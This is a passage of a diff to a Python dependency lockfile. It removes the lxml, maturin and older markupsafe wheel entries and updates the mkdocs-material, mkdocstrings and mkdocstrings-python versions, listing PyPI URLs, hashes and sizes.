"sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955", size = 5647338, upload-time = "2026-05-18T19:19:40.553Z" }, - { url = "https://files.pythonhosted.org/packages/42/3d/ef4dcfffd22d27a61805d8ed9f7fb888495bc6aa88648fa07c1eaa5586b6/lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13", size = 5239528, upload-time = "2026-05-18T19:19:43.657Z" }, - { url = "https://files.pythonhosted.org/packages/62/bb/37fb3f0dff146bdcfa78eec47879273820b2a0bf350ec236ce14bd0b1c26/lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7", size = 5350730, upload-time = "2026-05-18T19:19:46.307Z" }, - { url = "https://files.pythonhosted.org/packages/90/42/43253f168388df4fae1f38c01df36ddb9bee39e2048167b54cdcbae85ea3/lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245", size = 4697530, upload-time = "2026-05-18T19:19:49.889Z" }, - { url = "https://files.pythonhosted.org/packages/eb/a8/c5a8504f81bbdfc8e7094c2c850cdb4ed6777fc4d5ddd9e5ab819f3b0d54/lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5", size = 5250670, upload-time = "2026-05-18T19:19:53.199Z" }, - { url = "https://files.pythonhosted.org/packages/77/b7/c7e76ab18744d75e21f320ebf9ff9d1ceae2b54dd431ea5a64caf26c9672/lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462", size = 5084485, upload-time = "2026-05-18T19:19:08.422Z" }, - { url = "https://files.pythonhosted.org/packages/31/31/b35c53f8ef7b7c31cacd23d3638652fff7bcd1deb6eedb709ab43b685908/lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465", size = 4737635, upload-time = "2026-05-18T19:19:12.321Z" }, - { url = "https://files.pythonhosted.org/packages/d9/06/31f23c813a7fe8e0cb1b175e915b08c9bf4e86d225b210feadbdbe519667/lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a", size = 5670681, upload-time = "2026-05-18T19:19:15.001Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bc/ce619bccc89b1fd9ad8a8e1330ee3f3beff9f2ff95b712d7bbcdd6e22fc3/lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590", size = 5238229, upload-time = "2026-05-18T19:19:18.131Z" }, - { url = "https://files.pythonhosted.org/packages/2f/5d/b329acbbedc0b619ebc2be6cf7ee9ed07e80892c88d4dfd612c33805789a/lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb", size = 5264191, upload-time = "2026-05-18T19:19:21.118Z" }, - { url = "https://files.pythonhosted.org/packages/d6/85/be36fb1425b30db3c3f9df75fe86343ebffb79e6320bd7f588e25bfeac39/lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603", size = 3657202, upload-time = "2026-05-18T19:17:39.509Z" }, - { url = "https://files.pythonhosted.org/packages/b8/ce/3cf9a827342269f54d405a6202397de63f07c69cbd6ce7d183a3f0cba1e9/lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137", size = 4064497, upload-time = "2026-05-18T19:18:14.662Z" }, - { url = "https://files.pythonhosted.org/packages/d9/3e/1a957bde8f0760039e627f94699f82caa782c9d838d86c3d28245ee67212/lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf", size = 3741991, upload-time = "2026-05-19T19:22:59.111Z" }, - { url = "https://files.pythonhosted.org/packages/78/b2/00ed55b3a2efa4658fb795c38d1090ec9b3e8a6c3683d4441fa517f09c3b/lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee", size = 8827545, upload-time = "2026-05-18T19:18:41.193Z" }, - { url = "https://files.pythonhosted.org/packages/c0/73/74573db19baa618d5f266f2407898b087ff6927115b00b71e5fc1b700847/lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c", size = 4735736, upload-time = "2026-05-18T19:18:46.761Z" }, - { url = "https://files.pythonhosted.org/packages/16/02/6f7061f4f95f51e545d48e87647c54791d204a4e881be4156e7a26ba5338/lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef", size = 4970291, upload-time = "2026-05-18T19:19:56.215Z" }, - { url = "https://files.pythonhosted.org/packages/b0/02/55fc057d8283427dea7d6edb102e7a840239c77a64a983d92f62a304c0e9/lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a", size = 5102822, upload-time = "2026-05-18T19:19:59.223Z" }, - { url = "https://files.pythonhosted.org/packages/e4/48/8e1cf78d89d66850121d9255a2a24414c98f775da93b90cf976956c24b14/lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c", size = 5027923, upload-time = "2026-05-18T19:20:01.549Z" }, - { url = "https://files.pythonhosted.org/packages/ed/00/0632a0647612c8af24d26997b3b961397daa9d5b2581444805933629a4cb/lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525", size = 5595843, upload-time = "2026-05-18T19:20:03.93Z" }, - { url = "https://files.pythonhosted.org/packages/bc/86/ab008a7dc360711b66858d61c80a5979a70a09f2aa2b05d9698df80b803d/lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca", size = 5224515, upload-time = "2026-05-18T19:20:06.381Z" }, - { url = "https://files.pythonhosted.org/packages/75/c6/2702ff375e728e34f56d9a45339a9cf7e4427e917f542225242d63a05afa/lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e", size = 5312511, upload-time = "2026-05-18T19:20:09.308Z" }, - { url = "https://files.pythonhosted.org/packages/b7/57/a5807c98f87a86f10ef9ffab35516df7c0f0c4b6d5d33e9f608ab9c04a31/lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038", size = 4639206, upload-time = "2026-05-18T19:20:11.704Z" }, - { url = "https://files.pythonhosted.org/packages/1f/e1/8a0a2c35734812395f4da4eaf33748a7e5705bfb2a58b128da764339d5ec/lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e", size = 5232404, upload-time = "2026-05-18T19:20:14.064Z" }, - { url = "https://files.pythonhosted.org/packages/c2/e2/0e6a4dd5ad84d01d99aa7bae7cfefd4a760a0e0f8176818241de17d9b6c0/lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072", size = 5083769, upload-time = "2026-05-18T19:19:23.758Z" }, - { url = "https://files.pythonhosted.org/packages/a0/7e/161f33d463f6ffc1c7679104b65086dea120080d49dde4d238f015aaee2f/lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52", size = 4758936, upload-time = "2026-05-18T19:19:27.256Z" }, - { url = "https://files.pythonhosted.org/packages/f1/fb/2369825e3f6ca99305bf9f7b7085fda91c8b0922a89e54d900974aa3ef85/lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b", size = 5620296, upload-time = "2026-05-18T19:19:29.993Z" }, - { url = "https://files.pythonhosted.org/packages/30/90/d61e383146f74c5ab683947ea14dc7b82778838ab9b95ea73a23b60d0191/lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2", size = 5228598, upload-time = "2026-05-18T19:19:33.523Z" }, - { url = "https://files.pythonhosted.org/packages/76/2d/2dafd8149e94b05bb070690efd5bb2680720681e03ff03fc57d2b70a1105/lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e", size = 5247845, upload-time = "2026-05-18T19:19:36.649Z" }, - { url = "https://files.pythonhosted.org/packages/ce/68/b30e913340c380ddac9580c6e6230991fc37240ec4f64704833e4f3e2769/lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1", size = 3897345, upload-time = "2026-05-18T19:17:33.562Z" }, - { url = "https://files.pythonhosted.org/packages/3c/4e/9eb2af5335545f9fbcd7af57bcf87c6025d31eaa31b14ec184a6c8675328/lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e", size = 4393350, upload-time = "2026-05-18T19:18:10.076Z" }, - { url = "https://files.pythonhosted.org/packages/7f/2c/0f1e93c636720e8a3eb59af2bfda99d98b55891e1c53bc30c2e0e865f01b/lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c", size = 3817223, upload-time = "2026-05-19T19:22:56.823Z" }, - { url = "https://files.pythonhosted.org/packages/b5/32/86a3f0f724a3a402d4627937a7fc27b160e45e7012b4adf47f6e1e844511/lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e", size = 3930127, upload-time = "2026-05-18T19:19:02.27Z" }, - { url = "https://files.pythonhosted.org/packages/40/44/d832e82af08723761556d004b1d04d281c09f9a8cecd7d3148548c9941a3/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004", size = 4210769, upload-time = "2026-05-18T19:20:41.427Z" }, - { url = "https://files.pythonhosted.org/packages/6d/39/0dc5949f759ed7d951e0bb8c2f2d9d7aca1908d22352fa84a8afd2ea54af/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e", size = 4318163, upload-time = "2026-05-18T19:20:44.702Z" }, - { url = "https://files.pythonhosted.org/packages/e6/fb/8ab3845fe046ba4cbf74536bcf6801a774b7caf4350de1c5d37f1f0a9e90/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2", size = 4250945, upload-time = "2026-05-18T19:20:47.385Z" }, - { url = "https://files.pythonhosted.org/packages/68/1b/7553ab136894374ffae8851ec06f98f511cd8e66246e41b6be059d0a7289/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf", size = 4401664, upload-time = "2026-05-18T19:20:50.489Z" }, - { url = "https://files.pythonhosted.org/packages/db/a4/441aee36c6f6b249823d20fd91f9be9ab89d7c5a8ae542a4a4ca6d342d56/lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84", size = 3508989, upload-time = "2026-05-18T19:18:38.158Z" }, -] - [[package]] name = "markdown" version = "3.10.2" @@ -1487,17 +1151,6 @@ version = "3.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, - { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, - { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, - { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, - { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, - { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, - { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, - { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, - { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, - { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, - { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, @@ -1566,30 +1219,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, ] -[[package]] -name = "maturin" -version = "1.14.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "tomli", marker = "python_full_version < '3.11'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/e7/b3/addd877f871fb1860d46d3a4f206ecb10b946c85846805e6367631926fd3/maturin-1.14.1.tar.gz", hash = "sha256:9d6577a62cd08e0ceba7a0db06fb098e0c9b1b3429bad747a4f3a18215a1b3df", size = 369637, upload-time = "2026-06-19T05:19:49.774Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f4/f0/97c5a5bd9c71653a066c0976a484eaaae50b9369557838a4176b7b0bdaa5/maturin-1.14.1-py3-none-linux_armv6l.whl", hash = "sha256:522292398945442cdafa9daeb2271b2340fbde57027b818f923f88eab04174f8", size = 10207496, upload-time = "2026-06-19T05:19:09.321Z" }, - { url = "https://files.pythonhosted.org/packages/fe/83/294bca639b0e052f1e2f65199b3db258780c7d4e31408b934c9c974a1379/maturin-1.14.1-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:ffe5ad71f21d1e6603c4dd75f7fee34adf5ed5ebcebb692886549888ebb329ed", size = 19680113, upload-time = "2026-06-19T05:19:13.43Z" }, - { url = "https://files.pythonhosted.org/packages/43/b6/79c881410a3b1c187f7eb3d407aecae646c6a4433d630d72200359015e83/maturin-1.14.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:f3306078070c1508fd715b9116070cbcaff5959024272a9f1e6f5cb29768b86c", size = 10169205, upload-time = "2026-06-19T05:19:16.615Z" }, - { url = "https://files.pythonhosted.org/packages/93/9d/44b6f26dcb7f7a04c5501ac2dbb6ca1490150682baa525ca5860504f9eab/maturin-1.14.1-py3-none-manylinux_2_12_i686.manylinux2010_i686.musllinux_1_1_i686.whl", hash = "sha256:cd457cd88961156e26379e1155bd287cc0ec1c8b2f1582b0660fb31b87c8842d", size = 10188098, upload-time = "2026-06-19T05:19:19.736Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bd/9c0d5d6983905ce2c9edaa073a7e89355a9cf7f396988e05d32f1c37785d/maturin-1.14.1-py3-none-manylinux_2_12_x86_64.manylinux2010_x86_64.musllinux_1_1_x86_64.whl", hash = "sha256:dfc54ae32e6fcb18302193ab9a30b0b25eefffba994ae13238974805533ef75e", size = 10627576, upload-time = "2026-06-19T05:19:22.713Z" }, - { url = "https://files.pythonhosted.org/packages/e5/33/b096412bd6a7cb399652b260666f901adf88a687181a6dbd6a3f89f0a94e/maturin-1.14.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:a131d912b5267e640bc96d70f4914e10590aed64082ec9abacba7cea52004224", size = 10085181, upload-time = "2026-06-19T05:19:25.69Z" }, - { url = "https://files.pythonhosted.org/packages/56/8d/08c3bf469c38a23c9e6c877e338193001eb604d010fedc08341974e38528/maturin-1.14.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:be18fc568fb76884c0205456336892a75105ec398e6b667cd777c6268bd06d69", size = 10026363, upload-time = "2026-06-19T05:19:28.904Z" }, - { url = "https://files.pythonhosted.org/packages/3a/a4/c4d1a92839f8745ab4aab988a7db884a79d6d710bd3b286fcf9316dece1a/maturin-1.14.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.musllinux_1_1_ppc64le.whl", hash = "sha256:994a0c8ba3ad8a92b3a9ee1b02645d200d610216b15cff5102b0fe65e8e08666", size = 13321347, upload-time = "2026-06-19T05:19:32.411Z" }, - { url = "https://files.pythonhosted.org/packages/b3/fa/170f04624d03fd07d2a8b1b67de83a127af93aef9eaa425839553347297b/maturin-1.14.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:be80866363e605d137991b491a741a84cde9ae350183c4c85f49690ca9aaaa65", size = 10877609, upload-time = "2026-06-19T05:19:35.448Z" }, - { url = "https://files.pythonhosted.org/packages/61/ad/1ae2e1d0ded282bf2c55ac13f0811d87deb425e200ae64a15785675dede9/maturin-1.14.1-py3-none-manylinux_2_31_riscv64.musllinux_1_1_riscv64.whl", hash = "sha256:5282dffd4b539d2be245f4e5b1a5ab6bc1033b58f4a4872f5833f9d43c954aa4", size = 10417316, upload-time = "2026-06-19T05:19:38.28Z" }, - { url = "https://files.pythonhosted.org/packages/fb/27/bf677183920718da49cd7982d6a3ffc440aad8919329f571d189f81b7bdf/maturin-1.14.1-py3-none-win32.whl", hash = "sha256:1a04de0a20188f95c721b5702eed18140bdcccb28c386797093eca3f62f4d4e0", size = 8931293, upload-time = "2026-06-19T05:19:41.183Z" }, - { url = "https://files.pythonhosted.org/packages/63/4b/585adeb9167b08d3cdff0032a938b0e72655c92003df4f52c3f696a1bcc2/maturin-1.14.1-py3-none-win_amd64.whl", hash = "sha256:3c9f94640ecc4895e94abaf834a0684430032c865b2748a36c12461fd9252fdd", size = 10314067, upload-time = "2026-06-19T05:19:44.389Z" }, - { url = "https://files.pythonhosted.org/packages/51/d4/dac8c0720ae246be1700afb6fbdbbea20fe35b13f6570b2f70faa005df77/maturin-1.14.1-py3-none-win_arm64.whl", hash = "sha256:15cea8fcb3ba47dd636f50092bb34baea8b04ac777392f23e6bf8a9a61efb894", size = 9718943, upload-time = "2026-06-19T05:19:47.49Z" }, -] - [[package]] name = "mdurl" version = "0.1.2" @@ -1693,7 +1322,7 @@ wheels = [ [[package]] name = "mkdocs-material" -version = "9.7.7" +version = "9.8.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "babel" }, @@ -1708,9 +1337,9 @@ dependencies = [ { name = "pymdown-extensions" }, { name = "requests" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/f1/cd/c05d3a530ba7934f144fb45f7203cd236adc25c7bdcc34673d202f4b0278/mkdocs_material-9.7.7.tar.gz", hash = "sha256:c0649c065b1b0512d60aad8c10f947f8e455284475239b364b610f2deb4d0855", size = 4097923, upload-time = "2026-07-17T16:21:33.156Z" } +sdist = { url = "https://files.pythonhosted.org/packages/b9/02/3c0df248819286810d8479b3a72d9531db0cc36c042fe1ab3985f137c664/mkdocs_material-9.8.0.tar.gz", hash = "sha256:1ed4c5edaf405a3fb62e55288b8fdff592971729361548b1ffa757bf9849fb81", size = 4094495, upload-time = "2026-10-24T09:50:16.181Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ad/21/17c1bc9e6f47c972ad66fb2ac2568f99f90f1207eeb6fc3b34d094dba7b5/mkdocs_material-9.7.7-py3-none-any.whl", hash = "sha256:8ea9bb1737a5b524a5f9dcf2e1b4ebda8274ae3008aa7845720a97083bef708f", size = 9305438, upload-time = "2026-07-17T16:21:30.017Z" }, + { url = "https://files.pythonhosted.org/packages/c8/16/360f44c7702f27ff4670a647a16c72432291e311371d72b4c34a57e990e0/mkdocs_material-9.8.0-py3-none-any.whl", hash = "sha256:19304a7263c5700428227122b3b2699aa73f432c9de8816876adaec7d7293ce3", size = 9302245, upload-time = "2026-10-24T09:50:12.636Z" }, ] [[package]] @@ -1724,7 +1353,7 @@ wheels = [ [[package]] name = "mkdocstrings" -version = "1.0.6" +version = "1.0.8" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "jinja2" }, @@ -1734,138 +1363,172 @@ dependencies = [ { name = "mkdocs-autorefs" }, { name = "pymdown-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/53/71/f85bdf13355073ae15a7375f09879375a830553552e58c1c4b7e0bbc5c8b/mkdocstrings-1.0.6.tar.gz", hash = "sha256:a0b8c2bdd29a6416c80d717aa369bbf7831946bd9f23c2a66db1b1dbe7693dbd", size = 100649, upload-time = "2026-07-11T19:38:05.732Z" } +sdist = { url = "https://files.pythonhosted.org/packages/27/cc/e3ed8b16851f5d664dffcf8f55fc60d0d3f736a3edca21d1508105d1255a/mkdocstrings-1.0.8.tar.gz", hash = "sha256:b50fc326230906425c82ee9ec59b80e5db00892b2b593d4d0b841a0d4acf537b", size = 107444, upload-time = "2026-10-19T15:43:02.157Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/5b/4c1902e8bdd5c4db63284e9d101dece4038d4025d6d88850ffe0a1578980/mkdocstrings-1.0.6-py3-none-any.whl", hash = "sha256:2703708697487d1b6d6d7b412e176fa436edf120c1bf81dc9e126b12d00893c7", size = 35787, upload-time = "2026-07-11T19:38:04.417Z" }, + { url = "https://files.pythonhosted.org/packages/19/5e/4df7a2290e97c60a3ba410084966e5ab84aa89d15c8c98c195acbaefa8f4/mkdocstrings-1.0.8-py3-none-any.whl", hash = "sha256:4b03ed2b863009f1153f0d04aacb22a85b92afc28a0636d85717c92eecca638c", size = 42209, upload-time = "2026-10-19T15:43:00.65Z" }, ] [[package]] name = "mkdocstrings-python" -version = "2.0.5" +version = "2.0.10" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "griffelib" }, { name = "mkdocs-autorefs" }, { name = "mkdocstrings" }, - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b1/b6/e858701499d57eee8b3fd8e78168083956c6683ddbe727b46758b19e1119/mkdocstrings_python-2.0.5.tar.gz", hash = "sha256:3a4d92556ad39637e88af94a5374213af9a8e3040c3824ceaed04b486c017594", size = 199578, upload-time = "2026-06-19T10:41:08.868Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fb/43/4783d5606de4f5e4bea10388c8741b0c40d03e7cb9527b94ad35966351f5/mkdocstrings_python-2.0.10.tar.gz", hash = "sha256:5e34ae56b2f20a57807ee479d603ddc5ec7cc6d2252c4c177754627ef2d3b833", size = 207682, upload-time = "2026-10-19T15:58:07.934Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d1/fc/10ab7e80650a9c9e8f4f1105f8c8e73567f88ed0c06ada589ab81d38687c/mkdocstrings_python-2.0.5-py3-none-any.whl", hash = 